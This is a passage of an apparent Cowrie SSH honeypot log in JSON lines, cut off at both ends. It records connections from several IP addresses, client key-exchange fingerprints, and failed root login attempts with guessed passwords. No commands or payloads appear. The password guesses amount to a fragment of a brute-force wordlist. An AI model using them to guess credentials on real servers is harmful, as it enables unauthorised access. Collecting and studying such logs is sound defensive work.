h.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:25:52.596305Z","src_ip":"20.12.41.6","session":"a723f142dfad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"forex123","message":"login attempt [root/forex123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:25:52.684778Z","src_ip":"20.12.41.6","session":"a723f142dfad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:25:53.703118Z","src_ip":"20.12.41.6","session":"a723f142dfad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":53510,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c961ce056fc","protocol":"ssh","message":"New connection: 47.86.95.62:53510 (10.17.0.5:22) [session: 8c961ce056fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:26:17.970970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:26:19.678414Z","src_ip":"47.86.95.62","session":"8c961ce056fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:26:19.683837Z","src_ip":"47.86.95.62","session":"8c961ce056fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":51832,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d7dd4f5225b","protocol":"ssh","message":"New connection: 31.59.89.180:51832 (159.203.135.109:22) [session: 2d7dd4f5225b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:26:37.911581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:26:37.916845Z","src_ip":"31.59.89.180","session":"2d7dd4f5225b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:26:38.023544Z","src_ip":"31.59.89.180","session":"2d7dd4f5225b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mean","message":"login attempt [root/mean] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:26:38.478253Z","src_ip":"31.59.89.180","session":"2d7dd4f5225b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:26:39.587355Z","src_ip":"31.59.89.180","session":"2d7dd4f5225b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.26.36.248","src_port":65380,"dst_ip":"159.203.135.109","dst_port":22,"session":"e45f64b15271","protocol":"ssh","message":"New connection: 118.26.36.248:65380 (159.203.135.109:22) [session: e45f64b15271]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:26:50.248906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:26:50.253016Z","src_ip":"118.26.36.248","session":"e45f64b15271","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:26:50.473128Z","src_ip":"118.26.36.248","session":"e45f64b15271","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mahlon","message":"login attempt [root/mahlon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:26:51.370422Z","src_ip":"118.26.36.248","session":"e45f64b15271","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:26:52.590534Z","src_ip":"118.26.36.248","session":"e45f64b15271","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.222.211.114","src_port":57238,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ad1bde3d3f1","protocol":"ssh","message":"New connection: 61.222.211.114:57238 (159.203.135.109:22) [session: 3ad1bde3d3f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:26:57.479418Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:26:57.484654Z","src_ip":"61.222.211.114","session":"3ad1bde3d3f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:26:57.690019Z","src_ip":"61.222.211.114","session":"3ad1bde3d3f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazxcde3","message":"login attempt [root/1qazxcde3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:26:58.542485Z","src_ip":"61.222.211.114","session":"3ad1bde3d3f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":33736,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c3714652ff0","protocol":"ssh","message":"New connection: 47.86.95.62:33736 (10.17.0.5:22) [session: 0c3714652ff0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:26:58.627448Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:26:59.750889Z","src_ip":"61.222.211.114","session":"3ad1bde3d3f1","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:26:59.763854Z","src_ip":"47.86.95.62","session":"0c3714652ff0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:27:17.301511Z","src_ip":"47.86.95.62","session":"0c3714652ff0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.26.36.248","src_port":64316,"dst_ip":"159.203.135.109","dst_port":22,"session":"6929d43dd83c","protocol":"ssh","message":"New connection: 118.26.36.248:64316 (159.203.135.109:22) [session: 6929d43dd83c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:28:17.849805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:28:17.854598Z","src_ip":"118.26.36.248","session":"6929d43dd83c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:28:17.979545Z","src_ip":"47.86.95.62","session":"8c961ce056fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:28:18.071936Z","src_ip":"118.26.36.248","session":"6929d43dd83c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ecc","message":"login attempt [root/ecc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:28:18.971853Z","src_ip":"118.26.36.248","session":"6929d43dd83c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:28:20.192482Z","src_ip":"118.26.36.248","session":"6929d43dd83c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":43382,"dst_ip":"10.17.0.5","dst_port":22,"session":"907d2c3479ff","protocol":"ssh","message":"New connection: 47.86.95.62:43382 (10.17.0.5:22) [session: 907d2c3479ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:28:21.870810Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:28:21.874992Z","src_ip":"47.86.95.62","session":"907d2c3479ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.222.211.114","src_port":36966,"dst_ip":"159.203.135.109","dst_port":22,"session":"4bca63dac3ef","protocol":"ssh","message":"New connection: 61.222.211.114:36966 (159.203.135.109:22) [session: 4bca63dac3ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:28:31.446145Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:28:31.453997Z","src_ip":"61.222.211.114","session":"4bca63dac3ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:28:31.664340Z","src_ip":"61.222.211.114","session":"4bca63dac3ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"...","password":"lol_lol_L0L_12346!&^$%#@@_87568","message":"login attempt [.../lol_lol_L0L_12346!&^$%#@@_87568] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:28:32.538461Z","src_ip":"61.222.211.114","session":"4bca63dac3ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:28:33.753129Z","src_ip":"61.222.211.114","session":"4bca63dac3ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:28:48.626564Z","src_ip":"47.86.95.62","session":"907d2c3479ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":7740,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1daa046f76e","protocol":"ssh","message":"New connection: 87.251.64.176:7740 (10.17.0.5:22) [session: e1daa046f76e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:28:50.644759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:28:50.649946Z","src_ip":"87.251.64.176","session":"e1daa046f76e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm